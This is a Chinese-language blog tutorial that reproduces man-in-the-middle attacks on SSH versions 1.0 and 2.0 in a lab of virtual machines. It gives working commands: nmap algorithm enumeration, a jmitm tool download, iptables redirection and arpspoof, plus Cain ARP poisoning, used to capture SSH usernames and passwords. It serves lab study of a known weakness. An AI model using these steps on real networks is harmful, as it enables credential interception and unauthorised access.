SSH协议弱加密算法漏洞的利用及复现(中间人攻击)

很多服务器或者交换机是存在SSH协议弱加密算法漏洞的,但是该漏洞如何利用呢?最近研究了下此漏洞的相关利用方法,对其整个攻击过程进行了复现。哈哈,本文具体操作步骤适合小白操作,也欢迎大神指正,希望大神对于此漏洞利用提出一些想法或者更好,更便捷的方法,促进交流哈!???

本文主要从SSH1.0和SSH2.0两个版本进行攻击复现,具体操作如下:

一、SSH2.0版本

1.准备环境
Linux虚拟机3台:

  • 192.168.136.139:作为SSH服务端
  • 192.168.136.143:作为SSH客户端
  • 192.168.136.142:作为中间人攻击端

2.详细步骤
首先验证SSH服务端和客户端使用的协议及版本,可用如下命令查看:

nc -VV 192.168.136.139 22

ssh server支持弱加密算法 ssh弱加密算法漏洞_用户名

nc -VV 192.168.136.143 22

ssh server支持弱加密算法 ssh弱加密算法漏洞_用户名_02


我们再使用Nmap探测SSH客户端使用的加密算法:

nmap --script ssh2-enum-algos -sV -p 192.168.136.143

ssh server支持弱加密算法 ssh弱加密算法漏洞_安全_03


可以发现使用算法中包含arcfour, arcfour128, arcfour256等弱加密算法。

在中间人机器(192.168.136.142)上下载jmitm软件并解压:

wget http://www.david-guembel.de/uploads/media/jmitm2-0.1.0.tar.gz  #下载
tar xf jmitm2-0.1.0.tar.gz   #解压

对该工具进行配置,编辑jmitm软件中的server.xml(/jmitm2-0.1.0/conf/server.xml)配置文件:

ssh server支持弱加密算法 ssh弱加密算法漏洞_客户端_04


运行/jmitm2-0.1.0/bin目录下的runm.sh程序,开始监听连接:

./runm.sh

ssh server支持弱加密算法 ssh弱加密算法漏洞_用户名_05


依次运行以下命令:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT
iptables -A FORWARD -j ACCEPT
arpspoof -i eth0 –t 192.168.136.143(客户端IP) 192.168.136.139(服务端IP)

ssh server支持弱加密算法 ssh弱加密算法漏洞_中间人攻击_06


在ssh客户端机器上登录ssh服务端,命令如下:

ssh root@192.168.136.139  -p 22 -2

并输入密码toor进行登录。

查看运行的程序runm.sh所输出的内容中,发现成功捕获到用户名(root)/密码(toor):

ssh server支持弱加密算法 ssh弱加密算法漏洞_用户名_07


至此SSHV2.0版本中间人攻击成功。

二、SSH1.0版本

1.准备环境

两台装有SSH-1.5-OpenSSH_3.8.1p1的Windows虚拟机(169.254.238.43、169.254.227.194)

装有Cain软件的本地物理机作为中间人机器(169.254.141.172)

2.复现步骤

使用软件Cain。

(1)选择虚拟机使用的网卡,如图

ssh server支持弱加密算法 ssh弱加密算法漏洞_用户名_08


(2)选择start sniff,进行嗅探,点击Hosts按钮,扫描出局域网中存活主机。

ssh server支持弱加密算法 ssh弱加密算法漏洞_用户名_09


(3)点击下方“ARP”按钮,添加需要嗅探的两个目标主机IP地址,如图

ssh server支持弱加密算法 ssh弱加密算法漏洞_用户名_10


(4)点击工具栏上“ARP”按钮,开始中间人攻击。

ssh server支持弱加密算法 ssh弱加密算法漏洞_安全_11


(5)在Windows虚拟机(169.254.238.43)中进行ssh连接,并输入相关用户名密码

ssh 用户名@169.254.227.194  -p 22 -1

查看Cain软件,发现arp到用户名和密码,如图:

ssh server支持弱加密算法 ssh弱加密算法漏洞_用户名_12


最后还可以查看ssh连接时所执行过的命令。

ssh server支持弱加密算法 ssh弱加密算法漏洞_用户名_13


备注:

可能会出现SSH密钥不对的情况,这是因为目标已经被链接过的原因,重启机器即可。

这里SSH1.0版本不包含1.9版本,1.9版本的攻击方法是降级攻击,先通过脚本对其进行降级,再进行arp,这里以后有时间再试试? 之前试过几次,没试出来,使用的ettercap嗅探时会报错!???